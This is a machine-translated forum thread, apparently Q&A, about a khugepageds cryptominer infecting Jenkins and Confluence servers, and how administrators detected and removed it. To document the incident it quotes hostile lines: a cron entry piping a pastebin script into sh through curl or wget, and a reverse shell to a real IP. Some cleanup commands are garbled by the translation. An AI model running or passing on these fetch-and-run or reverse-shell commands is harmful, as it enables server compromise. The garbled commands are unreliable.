Jenkins高CPU使用率Khugepageds

因此，上图显示了一个命令

khugepageds

，它有时使用CPU的

98

来

100

%

我试图找到jenkins如何使用这个命令或如何处理它，但没有成功

我做了以下几件事

• pkill

  jenkins
• 服务詹金斯站
• 服务詹金斯开始

当然，当i

pkill

时，使用率会下降，但一旦重新启动备份，使用率就会下降

---

以前有人有过这个问题吗？

看起来像是漏洞。试着像这样查看syslog（/var/log/syslog，而不是jenkinks log）：

CRON（jenkins）CMD（（curl-fsSLhttps://pastebin.com/raw/***||wget-q-O-https://pastebin.com/raw/***)|sh）

如果出现这种情况，请尝试停止jenkins，清除/tmp dir并杀死所有由jenkins用户启动的PID

---

如果cpu使用率下降，请尝试更新至jenkins的最新tls版本。下一步，在启动jenkins之后，更新jenkins中的所有插件。

是的，我们也受到了这个漏洞的影响，多亏了pittss，我们能够检测到更多关于这个漏洞的信息

您应该检查/var/logs/syslogs中的curl-pastebin脚本，该脚本似乎启动了系统上的corn进程，它将再次尝试升级对/tmp文件夹的访问，并安装不需要的包/脚本

您应该删除/tmp文件夹中的所有内容，停止jenkins，检查cron进程，删除可疑的内容，重新启动VM

由于上述漏洞在/tmp foler中添加了不需要的可执行文件，它试图通过ssh访问VM。 此漏洞还在系统上添加了一个cron进程，请注意删除该进程

还要检查~/.ssh文件夹中的已知\u主机和授权\u密钥中的任何可疑ssh公钥。攻击者可以添加ssh密钥以访问您的系统

---

希望这能有所帮助。

所以，我们刚刚遇到了这种情况。根据其他答案，以及我们自己的一些挖掘，我们能够通过运行以下命令杀死进程（并保持它被杀死）

rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now; rm-rf/tmp/*；crontab-r-u-jenkins；杀死胡格帕格兹的9名皮杜；crontab-r-u-jenkins；rm-rf/tmp/*；现在重新启动-h； 确保用机器上的PID替换胡格帕兹的PID。它还将清除crontab条目。将这一切作为一个命令运行，这样进程就不会自行恢复。机器将按照最后一个命令重新启动

---

注意：虽然上面的命令会终止进程，但您可能希望滚动/重新生成SSH密钥（在Jenkins机器、BitBucket/GitHub等以及Jenkins可以访问的任何其他机器上），甚至可能启动一个新的Jenkins实例（如果您有此选项）。

一个有效的解决方案，因为刚刚重新创建的cron文件是为了清空jenkins的cron文件，所以我还更改了所有权，并使该文件不可变

---

这最终阻止了该进程的启动。

这是一个于2019年3月25日发布的汇流漏洞。它允许远程攻击者通过服务器端模板注入在汇流服务器或数据中心实例上实现路径遍历和远程代码执行

可能的解决办法

不要作为根运行汇流

停止僵尸网络代理：kill-9$（cat/tmp/.X11unix）；基拉尔-9胡吉帕格兹

停止汇流：/app/bin/Stop-Confluence.sh

删除损坏的crontab:crontab-u-r

通过阻止对前端服务器中易受攻击路径/rest/tinymce/1/macro/preview的访问来堵塞漏洞；对于nginx，它是这样的：

重新启动汇流

剥削 包含两部分：来自的shell脚本和来自的x86_64 Linux二进制文件

该脚本首先杀死所有其他已知的特洛伊木马/病毒/僵尸网络代理，从/tmp/kerberods下载并生成二进制文件，并通过/root/.ssh/known_hosts迭代，试图将自身传播到附近的机器

---

大小为3395072、日期为Apr 5 16:19的二进制文件使用LSD可执行打包器（）打包。我还没有检查它的功能。看起来像一个僵尸网络控制器。

在我的例子中，这会导致构建随机失败，并出现以下错误：

Maven JVM意外终止，退出代码为137

我花了一段时间才对胡格帕格兹过程给予应有的关注，因为我读到的关于这个错误的每个地方，给出的解决方案都是为了增加内存

---

问题已通过@HeffZilla解决方案解决。

我们也有此问题。我尝试在引导时和运行时根据本指南禁用THP（khugepaged），方法（）用于在grub中设置enabled并将碎片整理设置为never，方法（）用于在引导时禁用。重新启动。仍然看到jenkins用户显示的

khugepaged

，它使用了200%的CPU：（谢谢，我们也遇到了这个问题，这似乎是可行的。你知道这可能是如何进入系统的吗？jenkins插件中可能存在漏洞？@user1366911不幸的是，我们不知道。对于那些从Atlassian Confluence安装到这里并表现出类似问题的人，出于好奇，请看：你在哪里从该特定url是否是罪魁祸首获取信息？@luk2302:受感染的confluence用户的crontab包含以下条目：

（curl-fsSLhttps://pastebin.com/raw/xmxHzu5P||wget-q-O-https://pastebin.com/raw/xmxHzu5P)|sed-e's/\r//g'| sh

。另请参见@AxelBeckert我指的是汇流实例的tinymce url。不是100%清晰。@luk2302我从受感染的服务器HTTP日志中获得了/rest/tinymce/1/macro/preview。顺便说一句，汇流用户的bash_历史记录使用了反向shell命令

bash-I>&/dev/tcp/45.76.191.111/2012 0>&1

，因此有些人人工干预已经到位。

    location /rest/tinymce/1/macro/preview {
        return 403;
    }